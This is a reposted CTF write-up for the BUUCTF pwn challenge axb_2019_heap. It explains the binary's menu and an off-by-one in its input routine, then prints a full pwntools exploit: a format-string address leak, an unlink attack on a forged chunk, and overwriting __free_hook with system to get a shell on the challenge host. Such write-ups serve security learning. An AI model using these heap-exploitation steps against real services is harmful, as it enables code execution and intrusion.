[BUUCTF]-PWN:axb_2019_heap解析(格式化字符串漏洞,unlink,off by one)

news2024/11/24 5:58:48

查看保护

查看ida

大致就是alloc创建堆块,free释放堆块,以及fill填充堆块

解释get input函数:

这里解释一下get input函数

这个函数是人工编写的,其中*v4==10那里是把接受到的换行符变为\x00,并且结束输入。

v3++那里,v3是统计输入的个数,并且在v3大于或等于我们申请的堆块大小+1时停止输入。

但还是有一个要注意的点,我在创建堆块的函数那里填充堆块没有办法填充多一个字节,不知道是我的操作问题还是程序就是这样。

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./heap')
p=remote('node5.buuoj.cn',26755)
key=0x202040
note=0x202060

def alloc(index,size,content):
    p.sendlineafter(b'>>',str(1))
    p.sendlineafter(b'Enter the index you want to create (0-10):',str(index))
    p.sendlineafter(b'Enter a size:',str(size))
    p.sendlineafter(b'Enter the content:',content)
def free(index):
    p.sendlineafter(b'>>',str(2))
    p.sendlineafter(b'Enter an index:',str(index))
def fill(index,content):
    p.sendlineafter(b'>>',str(4))
    p.sendlineafter(b'Enter an index:',str(index))
    p.sendlineafter(b'Enter the content:',content)

p.sendlineafter(b'Enter your name:',b'%11$p%15$p') #泄露程序地址和libc地址
p.recvuntil(b'Hello, ')
main28=int(p.recv(14),16)
main=main28-28 #有这个地址才能找到note的地址
base=main-0x116a
note=base+0x202060 #基地址加偏移
libc_start_main240=int(p.recv(14),16)
libc_start_main=libc_start_main240-240
libc=LibcSearcher('__libc_start_main',libc_start_main)
libcbase=libc_start_main-libc.dump('__libc_start_main')
print(hex(libcbase))
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
freehook=libcbase+libc.dump('__free_hook')
alloc(0,0x88,p64(0))
alloc(1,0x88,p64(0))
alloc(2,0x88,b'/bin/sh\x00')
payload=p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0x80)+p8(0x90)
fill(0,payload)
free(1)
payload=p64(0)*3+p64(freehook)+p64(0x8) #覆盖chunk0为freehook
fill(0,payload)
payload=p64(system)
fill(0,payload)
free(2)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1457613.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单调队列和优先队列

本篇记录下一下关于单调队列和优先队列(堆)的方法以及解题思路. 文章目录 一. 单调队列1. 绝对差不超过限制得最长连续子数组2. 跳跃游戏 VI3. 设计自助结算系统4. 和至少为k的最短子数组5. 满足不等式的最大值 二. 优先队列1. 最后一块石头的重量2. 数据…

CoWoS封装产能短缺挑战AI芯片市场需求

随着人工智能、云计算、大数据分析和移动计算等技术的蓬勃发展,现代社会对计算能力的需求日益高涨。然而,在先进制程突破3纳米后,晶圆尺寸遭遇缩放极限,制造成本也随之上升。因此,除了继续研发先进制程外,半…

网络防火墙综合实验

备注:电信网段15.1.1.0 移动网段14.1.1.0 办公区 11.1.1.0 生产区 10.1.1.0 服务区 13.1.1.0 公网 1.1.1.1 和 2.2.2.2 需求: 1、办公区设备可以通过电信链路和移动链路上网(多对多nat,并且需要保留一个公网ip) 2、…

C#,入门教程(05)——Visual Studio 2022源程序(源代码)自动排版的功能动画图示

上一篇: C#,入门教程(04)——Visual Studio 2022 数据编程实例:随机数与组合https://blog.csdn.net/beijinghorn/article/details/123533838 新来的徒弟们交上来的C#代码,可读性往往很差。 今天一问才知道,他们居然不…

使用go-llama.cpp 运行 yi-01-6b大模型,使用本地CPU运行,速度挺快的

1,视频地址 2,关于llama.cpp 项目 https://github.com/ggerganov/llama.cpp LaMA.cpp 项目是开发者 Georgi Gerganov 基于 Meta 释出的 LLaMA 模型(简易 Python 代码示例)手撸的纯 C/C 版本,用于模型推理。所谓推理…

CMake无Name和Value部分界面

鼠标会变成以下 拉开后就 出现想要的部分

SpaceX 发射军用卫星,用于跟踪高超音速导弹

上周三,导弹防御局的两颗原型卫星和美国太空军的四颗导弹跟踪卫星搭乘 SpaceX 猎鹰 9 号火箭从佛罗里达州太空海岸进入轨道。 这些卫星是新一代航天器的一部分,旨在跟踪中国或俄罗斯发射的高超音速导弹,以及可能来自正在开发自己的高超音速武…

蓝桥杯:C++贪心算法、字符串函数、朴素模式匹配算法、KMP算法

贪心算法 贪心(Greedy)算法的原理很容易理解:把整个问题分解成多个步骤,在每个步骤都选取当前步骤的最优方案,直到所有步骤结束;每个步骤都不考虑对后续步骤的影响,在后续步骤中也不再回头改变前面的选择。 贪心算法…

折叠式隐形纱窗原理

如果出现上轨与下轨不同步,可分析是否是某些绳子被拉长导致的。 以上图现象为例,可调整折叠纱窗一侧上部分的4跟组织线长度。从而解决上轨与下轨拉动不同步的问题。

【天衍系列 01】深入理解Flink的 FileSource 组件:实现大规模数据文件处理

文章目录 01 基本概念02 工作原理03 数据流实现04 项目实战4.1 项目结构4.2 maven依赖4.3 StreamFormat读取文件数据4.4 BulkFormat读取文件数据4.5 使用小结 05 数据源比较06 总结 01 基本概念 Apache Flink 是一个流式处理框架,被广泛应用于大数据领域的实时数据…

报表开发工具DevExpress .NET Reporting v23.2亮点 - 支持智能标签

DevExpress Reporting是.NET Framework下功能完善的报表平台,它附带了易于使用的Visual Studio报表设计器和丰富的报表控件集,包括数据透视表、图表,因此您可以构建无与伦比、信息清晰的报表。 DevExpress Reporting控件日前正式发布了v23.2…

STM32学习·HAL库·STM32CubeMX系列学习(安装和使用)

目录 ​编辑 1. STM32CubeMX简介 2. STM32CubeMX安装 2.1 STM32CubeMX软件获取 2.1.1 获取Java软件 2.1.2 STM32CubeMX软件获取 2.2 搭建Java运行环境 2.3 安装STM32CubeMX软件 2.4 下载和关联STM32cube固件包 1. STM32CubeMX简介 STM32CubeMX 是 ST 微电子公…

Go 是否有三元运算符?Rust 和 Python 是怎么做的?

嗨,大家好!本文是系列文章 Go 技巧第十四篇,系列文章查看:Go 语言技巧。 今天来聊聊在 Go 语言中是否支持三元运算符。这个问题很简单,没有。 首先,什么是三元运算符? 在其他一些编程语言中&a…

The Sandbox NFT 概览与数据分析

作者:stellafootprint.network 编译:cicifootprint.network 数据源:The Sandbox NFT Collection Dashboard Sandbox NFT 系列包括独特的体素资产和 LAND 地块,使所有者能够在 The Sandbox 元宇宙中构建、玩虚拟体验并从中获…

【VSCode】设置 一键生成vue模板 的快捷入口

问题 每次写一个组件的时候,都需要去手敲默认结构或者是复制粘贴,十分的麻烦! 解决办法 文件 > 首选项 > 用户代码片段 > vue.json 配置vue模板 其中prefix是用来触发代码段的内容,即模版的快捷入口;body里…

红帽认证——步入优质职场的第一步

在当今数字化时代,掌握先进的技术和技能是开启成功职业生涯的关键。红帽认证课程将为你提供这样的机会,帮助你成为一名具备实际操作能力的专业人士。Redhat,红帽公司是全球知名的开源技术厂家,领先的开源解决方案供应商。Linux有很…

Python Flask高级编程之RESTFul API前后端分离(学习笔记)

Flask-RESTful是一个强大的Python库,用于构建RESTful APIs。它建立在Flask框架之上,提供了一套简单易用的工具,可以帮助你快速地创建API接口。Flask-RESTful遵循REST原则,支持常见的HTTP请求方法,如GET、POST、PUT和DE…

Datawhale零基础入门金融风控Task1 赛题理解

Task1 赛题理解 Tip:本次新人赛是Datawhale与天池联合发起的0基础入门系列赛事第四场 —— 零基础入门金融风控之贷款违约预测挑战赛。 赛题以金融风控中的个人信贷为背景,要求选手根据贷款申请人的数据信息预测其是否有违约的可能,以此判断是否通过此项…

Office2019安装冲突解决方法 ErrorCode 30182-392

问题描述 挂载安装Office 2019安装镜像后直接安装会出现如下的错误: 问题原因在于Office 365与Offfice2019版本号相同(均为16.0)官方页面-各Office版本号 解决办法 解决方法就是利用官方部署工具进行安装,绕过版本冲突问题 …

ansible剧本中的角色

1 roles角色 1.1 roles角色的作用? 可以把playbook剧本里的各个play看作为一个角色,将各个角色打的tasks任务、vars变量、template模版和copy、script模块使用的相关文件等内容放置在指定角色的目录里统一管理,在需要的时候可在playbook中使…